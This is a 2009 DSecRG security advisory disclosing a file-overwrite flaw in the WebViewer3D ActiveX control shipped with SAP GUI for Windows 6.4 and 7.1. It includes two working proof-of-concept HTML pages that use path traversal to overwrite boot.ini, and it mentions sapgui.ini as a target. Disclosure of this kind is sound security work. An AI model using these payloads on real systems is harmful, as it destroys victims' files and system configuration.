Digital Security Research Group [DSecRG] Advisory #DSECRG-09-044
Application: EnjoySAP, SAP GUI for Windows 6.4 and 7.1 Versions Affected: Tested on 7100.2.7.1038 PL 7 Vendor URL: http://SAP.com Bugs: insecure method, File owervriting Exploits: YES Reported: 02.07.2009 Vendor response: 02.07.2009 Date of Public Advisory: 22 сент CVE-number: Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer3D ( file WebViewer3D.dll) Lib GUID: {AFBBE070-7340-11d2-AA6B-00E02924C34E} which is contains insecure method that can overwrite any file in system. Details ******* Attacker can construct html page which call one of the wulnerable functions such as: 1) SaveToSessionFile 2) SaveViewToSessionFile from ActiveX component EAI WebViewer3D Example1: <HTML> <BODY> <object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object> <SCRIPT> function Do_1t() { File = "../../../../../../../../../../../../boot.ini" ctrl.SaveToSessionFile(File) } </SCRIPT> <input language=JavaScript onclick=Do_1t() type=button value="P0c"> </BODY> </HTML> Example2: <HTML> <BODY> <object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object> <SCRIPT> function Do_1t() { File = "../../../../../../../../../../../../boot.ini" ctrl.SaveViewToSessionFile(File) } </SCRIPT> <input language=JavaScript onclick=Do_1t() type=button value="P0c"> </BODY> </HTML> For example we can overwrite boot.ini file or sapgui.ini which contains all connectionbs to sap servers Fix Information *************** About ***** Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsecrg [dot] com http://www.dsecrg.com
